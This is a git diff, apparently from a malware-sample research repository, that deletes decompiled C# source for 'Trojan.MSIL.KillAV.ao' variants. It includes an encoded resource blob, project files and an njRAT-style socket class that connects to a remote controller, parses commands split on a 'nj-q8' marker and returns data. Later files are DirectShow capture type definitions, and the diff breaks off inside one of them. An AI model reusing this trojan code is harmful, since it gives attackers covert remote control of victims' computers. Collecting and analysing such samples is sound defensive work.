q9/oN/+N34+vbjc7v32HmF/PJb5dX7/HD7GvHyLX/a43cN0nv/A3/40hfb/xb/4b/+a/y9EuSd9v/hvh - 79+I5vQXHP2T/+f//X//tpyu//V4Yr9FfCJ57V/n1/gXfw1ev/jNfwcOkn/D3+I3QIL71/stf3365Q41 - pR/fAha/GT78ddI/iFpvfUIf/EaUhvy15M/fhNv/BuTCjPDFr//b/OYmKP51kCz59eAe/Db3yLX8LYnm - v/mvt0WR5a/3l/z6v91v8JeQi7FN7X7jH9sa04/f8seYf/kjckx/na279Mvv8hvLh/idXOjfkV79hfRT - 2v/6v/1v/mN/ya+f/Ae/eS+TQ4P7NSl/gEj17/wHfo3f9DcFwSmH/wV98mNYp/ht7v0GbCB/409+j18L - r/x6v9Fv4D4a/Qa/7b/R7BCc3/DX+vV//WoXoyfgvx4tYdgmP/brV3vA/JNf48dAy9+RYP/+9JMo+Jv/ - dkLHX/+34aZ/ya9PAT4T49f/bbZ+W4KydQ/wmAT8N6W+fzsM6tf/bX8DbZf8B7/9f/Dbasr419cB/frd - cf12v8b42a/x22Jcv0AWXb716tf6xdTm1/m1WxLgX7P6MfDErwHczPdPXn/nya+pqz0Acbk33hnf33mw - 9wCf/Lq/Rkn/PiXn7cd/6a/xa/xN9PP3xu+v27pYXjRo8RtQZ3NSQD/+1etfY/WbyzrVj3/+1dlT+vkH - 0d9/Gr57UlaTX0Me+vPX/O5nv9Zv9WP0y6/xv/+a95BQQO+kc7D2wGsxlPn4NT6m/wOFRD//tfV3vIa8 - xq/pff5r/Bo/8evLCH69X+OI3vpNfo3Xv+bTX/O3+DXqX/P3/zV/vV/jr/k1/2z692/+NR/Qt3/vr/U3 - /lq/3q/x/NfG73/Jr41v/8Nf+x/8tX+9X+N/509+zV8HLVP+d+/XeUCofe/XOf11fr1fY0G/J7/GP/Lr - /Lm/zm/za/w79Enya/xav+6fS5/Pfl18/tP0e/Jr/BH871/y6/6W9MlfQ//+Dr/Gf/nr/iu/7u/wa/ze - v96/8uv+er/GX/3r/TG/XvJr/Du/Ht76X+j3X+/X+A1+ffz7W/766P0e/QvsZQy/Jv/3m/0ad36NT4j+ - /Nev+Zv9Gtv812/ya/yGv0ZCzXaYSr8Z9QJ63P81MFO/Ff1FvtWvsfq15a/f6df4zWnl7Hf8NX7iD/pj - iZo/8Qf9Rfzv387//lP877/N//5P/O+v+2vi39+R/v31fo3f59f8Lr37g1/ze/TvL/k1f3/C4A//NSf0 - 7fWvhTZ/zK+FNj/5a+Pf7/G/vz//m/O/v+TX/u9+jZcpxvGb/3anv8ZvSe/+3vzXr/fbPf81flsd4R/0 - a/w26Ve/xi/w/rr7a76id/8ibvnb/Bp/0K/5WyKX9LvKjP7Rv+Y5/ZXqX3/ir1mSXnqsf/0Zv+ZvS5L7 - G3wkf93/NWr66+m35K+/89d8R3Pxmx04XH5j298//Gv+od5f/9Ov+cdzLkv++nV/rT+NuVgx+7X+PHrT - /PW9X+svp1GYv/70X+tv/zV++1/jt+Iefptf46/5tf5+orZ891um//Sv9Y94f/1nv9Y/Q+M1f/1v9Bfx - +0P8/Zv/Gr/Wr/0v/hqpfvebp7/xr/2vycD5r9/11/636K/fl1v+Nr/Gt3/t//DX+PFf49/iv4SeP64t - ged/Rn/9b953H/8a/5H89Rv8qb825hiclf0akKDi14DcQLJ/nV+j+jXALe/429/j18S/bId+jT/N+/3v - /TXxFn7/tX+Nf+DX/DXSX/PX+Ofo31/r1/i3+Nv/k//9LX4tfPLPcZvf9tfST+itw18Ln/yevxb6+pw/ - f8uf116bv9T7/d/k9v+R/cT8+3uYXqjNo1/bfPJr/Rrlr92F/xf+2se/BsZ/xv/+GP/7m9O/v+LX+H3o - 31/j1/xd6d9fj/79HX6d/4noYT75jfiT35aoPfp1fotfs/g1Hv46v/DX/EW/xtWvs0///qG/zqNf8yd+ - jT+V/v2Df41/7tc5ok/+l1/nlP79P6n9n/xr/Ca/7nd+zT/51/gFJPO//a+x8+tmv+Zv/2uc/LpzgvB7 - /7rlr/kX/xrXv279a/7Vv8af8uv+Yv73X/w1fuLX+HN/3T/o1/ybf42/69f9I+jbf+DX/ZN+zX/41/gf - ft1/lr791b/uv0Twf91f71+nT37TX+/fpd9/p1/vP6Z/79Inf/Wv8fDX+6/o9xP6/W/+NV79ev/9r/lP - /xrZr/cr6JOfpk9+81+j+fV+t1/rN/81runfv/nX+AN/vX/x1/ibf40//Nfb+rX+5V/jb/71xvTvP/Dr - 3fu1MKLxr7VLI/0O/fvPU8tdwucRj/S7v9a/zVT6j+nf81/rf+Y2v4o/+Q3ov2/R/3+jX+Mu/fub/Rr7 - 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 - /J745zfAP78Ze4y/5m+Q/Nq/3m/+Y7/2r/db/Ma/1q/3m/zav97v/Jv8uumvmfxm8u9vQP/+mr/Fb56k - v/av+Zv9JvTfb/Fb//q/xq/12+HXX/MjSoH8Br/Zb/5jv/6v8Wv/Br/Bb/ab/Aa/AUGl5zdLft1f49ei - n78O8i6/DsJmeuM3+O1+s9/8NyM8fuffhFv/Fr/9b4B+8c9v8hvQAH67X4+b0N+/Bjr4dX673+43+O1+ - O0LoN/h1qPff6ddNfy20/fV/TWD2a/2av9Nvxzht87+7BOLX/A1+k1//16PU6m/+W/wGv8VvR/8H2OS3 - +3V+/V8r+U1+7V//1yR0fo3f+bd4SCT6TX496vs3+U1+LSLDb35KuZJf87f47Df79X+D3+Lhb/JbfPZb - fPYbUJvf4HemJr/m7/xb/Ma/CbX+7WgYvxYh8mv82r/T7/Q7/06/828CXH8neus3+Z1/kx/7NX6d3/k3 - +U1+k9/gN/9+QhTnb3+tX+vur/87/xa/9W/3m/9mv8Vn9I/8j3/Vf36Lz34Tfn7n3+Q3oPa/02/xW/86 - WP0CFQjor/U7/U4A/Wv+5j/266G73+nXos9/rd/p12d0f/PvY4i/yZ1fP/3Nf+y3+K1/A+/5TQCIodG6 - nvuYcP8NCCThRy/+dkzj3+43//V/w9+Zuv5NiK6/ATWmEYOyv8Gv/+v/OpgLjO03+O1+7Nf/dX6L35rQ - +y0+A2V/8/Vv8GtqyPILkFV682v9Nt+ts9WLamnNPNyVq+bXfPzi17DP74ffU/NX+Lz02rnn9z+p6qdl - CQsrMUqeq4r9NX6N//t3/zXS3zP20o+eHz0/en4unt9T8v6ro5sa/uj5/+Pz/wClkPx0ADYAAAA= - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/T.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/T.cs deleted file mode 100644 index 0654cd22..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/T.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.T -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic.CompilerServices; - -namespace nv -{ - [StandardModule] - public sealed class T - { - public static void A(ref byte[] D) => O.ind(D); - - private delegate void D(ref byte[] D); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Trojan.MSIL.KillAV.ao.csproj b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Trojan.MSIL.KillAV.ao.csproj deleted file mode 100644 index b407fc68..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Trojan.MSIL.KillAV.ao.csproj +++ /dev/null @@ -1,54 +0,0 @@ - - - - - Debug - AnyCPU - {D267371F-5688-4CD3-9287-DCDC2ACC191D} - WinExe - nv - 0.0.0.0 - nv - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Trojan.MSIL.KillAV.ao.sln b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Trojan.MSIL.KillAV.ao.sln deleted file mode 100644 index 7bfe75a0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/Trojan.MSIL.KillAV.ao.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "nv", "Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.csproj", "{D267371F-5688-4CD3-9287-DCDC2ACC191D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {D267371F-5688-4CD3-9287-DCDC2ACC191D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {D267371F-5688-4CD3-9287-DCDC2ACC191D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D267371F-5688-4CD3-9287-DCDC2ACC191D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {D267371F-5688-4CD3-9287-DCDC2ACC191D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/sk.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/sk.cs deleted file mode 100644 index 765c5413..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/sk.cs +++ /dev/null @@ -1,300 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.sk -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Net.Sockets; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; - -namespace nv -{ - public class sk - { - private static Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - private byte[] Spl; - public static Thread TH; - - public sk() => this.Spl = this.STB("nj-q8"); - - public void AT(byte[] D) => T.A(ref D); - - public event sk.O0EventHandler O0; - - public event sk.O1EventHandler O1; - - public event sk.O2EventHandler O2; - - public void CN(string H, int P) - { - try - { - sk.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - sk.client.BeginConnect(H, P, new AsyncCallback(this.C2), (object) sk.client); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - sk.O2EventHandler o2Event = this.O2Event; - if (o2Event != null) - o2Event(); - ProjectData.ClearProjectError(); - } - } - - public void C1(byte[] D) - { - try - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(D, 0, D.Length); - memoryStream.Write(this.Spl, 0, this.Spl.Length); - memoryStream.ToArray(); - sk.client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None); - memoryStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void DS() - { - try - { - sk.client.Shutdown(SocketShutdown.Both); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - sk.client.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public byte[] STB(string D) => Encoding.Default.GetBytes(D); - - public string BTS(byte[] D) => Encoding.Default.GetString(D); - - private void C2(IAsyncResult ar) - { - try - { - if (!sk.client.Connected) - { - sk.O2EventHandler o2Event = this.O2Event; - if (o2Event == null) - return; - o2Event(); - } - else - { - sk.client.ReceiveBufferSize = 99999; - sk.client.ReceiveTimeout = -1; - sk.client.SendTimeout = -1; - sk.O0EventHandler o0Event; - while (true) - { - do - { - Thread.Sleep(1); - if (sk.TH == null) - sk.TH = new Thread(new ThreadStart(this.D)); - if (sk.TH.ThreadState == ThreadState.Aborted | sk.TH.ThreadState == ThreadState.Unstarted | sk.TH.ThreadState == ThreadState.Stopped) - { - sk.TH = new Thread(new ThreadStart(this.D)); - sk.TH.Start(); - o0Event = this.O0Event; - if (o0Event == null) - goto label_15; - else - goto label_11; - } - } - while (sk.TH.ThreadState != ThreadState.Running); - sk.TH.Abort(); - } -label_15: - return; -label_11: - o0Event(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - sk.O2EventHandler o2Event = this.O2Event; - if (o2Event != null) - o2Event(); - ProjectData.ClearProjectError(); - } - } - - public Array fx(ref byte[] buf) - { - Array[] arrayArray = new Array[2]; - MemoryStream memoryStream1 = new MemoryStream(); - string Right = "nj-q8"; - byte[] bytes = new byte[5]; - int num = checked (buf.Length - Right.Length); - int count = 0; - Array array; - while (count <= num) - { - bytes[0] = buf[count]; - bytes[1] = buf[checked (count + 1)]; - bytes[2] = buf[checked (count + 2)]; - bytes[3] = buf[checked (count + 3)]; - bytes[4] = buf[checked (count + 4)]; - if (Operators.CompareString(Encoding.Default.GetString(bytes), Right, false) == 0) - { - memoryStream1.Dispose(); - MemoryStream memoryStream2 = new MemoryStream(); - MemoryStream memoryStream3 = new MemoryStream(); - memoryStream2.Write(buf, 0, count); - if (checked (count + 5) != buf.Length) - { - memoryStream3.Write(buf, checked (count + 5), checked (buf.Length - count + 5)); - array = (Array) new object[2] - { - (object) memoryStream2.ToArray(), - (object) memoryStream3.ToArray() - }; - break; - } - array = (Array) new object[1] - { - (object) memoryStream2.ToArray() - }; - break; - } - checked { ++count; } - } - return array; - } - - public void D() - { - MemoryStream memoryStream = new MemoryStream(); -label_1: - int num; - checked { ++num; } - Thread.Sleep(5); - try - { - if (num > 200) - { - try - { - if (sk.client.Poll(-1, SelectMode.SelectRead) & sk.client.Available <= 0) - { - O.Dis(); - return; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - O.Dis(); - ProjectData.ClearProjectError(); - return; - } - num = 0; - } - if (sk.client.Available > 0) - { - byte[] buffer = new byte[checked (sk.client.Available - 1 + 1)]; - sk.client.Receive(buffer, buffer.Length, SocketFlags.None); - memoryStream.Write(buffer, 0, buffer.Length); - while (true) - { - if (Strings.InStr(this.BTS(memoryStream.ToArray()), "nj-q8") > 0) - { - byte[] array = memoryStream.ToArray(); - Array Instance = this.fx(ref array); - new Thread((ParameterizedThreadStart) (a0 => this.EFE((byte[]) a0))).Start(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null))); - memoryStream = new MemoryStream(); - if (Instance.Length == 2) - memoryStream.Write((byte[]) NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null), 0, Conversions.ToInteger(NewLateBinding.LateGet(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null), (Type) null, "length", new object[0], (string[]) null, (Type[]) null, (bool[]) null))); - else - goto label_1; - } - else - goto label_1; - } - } - else - goto label_1; - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - O.Dis(); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - - public void EFE(byte[] B) - { - sk.O1EventHandler o1Event = this.O1Event; - if (o1Event == null) - return; - o1Event(B); - } - - public bool CNT() - { - bool flag; - try - { - flag = sk.client.Connected; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public delegate void O0EventHandler(); - - public delegate void O1EventHandler(byte[] D); - - public delegate void O2EventHandler(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/AssemblyInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/AssemblyInfo.cs deleted file mode 100644 index 87105e10..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyFileVersion("0.0.0.0")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyDescription("")] -[assembly: Guid("22e4b050-4231-4e7e-b7f4-3aea55166ef2")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMMediaType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMMediaType.cs deleted file mode 100644 index 7fdf65c2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMMediaType.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMMediaType -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class AMMediaType - { - public Guid majorType; - public Guid subType; - [MarshalAs(UnmanagedType.Bool)] - public bool fixedSizeSamples; - [MarshalAs(UnmanagedType.Bool)] - public bool temporalCompression; - public int sampleSize; - public Guid formatType; - public IntPtr unkPtr; - public int formatSize; - public IntPtr formatPtr; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerEventType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerEventType.cs deleted file mode 100644 index db1cfec2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerEventType.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerEventType -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum AMTunerEventType - { - Changed = 1, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerModeType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerModeType.cs deleted file mode 100644 index d9540f79..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerModeType.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerModeType -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Flags] - [ComVisible(false)] - public enum AMTunerModeType - { - Default = 0, - TV = 1, - FMRadio = 2, - AMRadio = 4, - Dss = 8, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerSignalStrength.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerSignalStrength.cs deleted file mode 100644 index 6fd6a18b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerSignalStrength.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerSignalStrength -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum AMTunerSignalStrength - { - NA = -1, // 0xFFFFFFFF - NoSignal = 0, - SignalPresent = 1, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerSubChannel.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerSubChannel.cs deleted file mode 100644 index dee6f68c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/AMTunerSubChannel.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerSubChannel -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum AMTunerSubChannel - { - NoTune = -2, // 0xFFFFFFFE - Default = -1, // 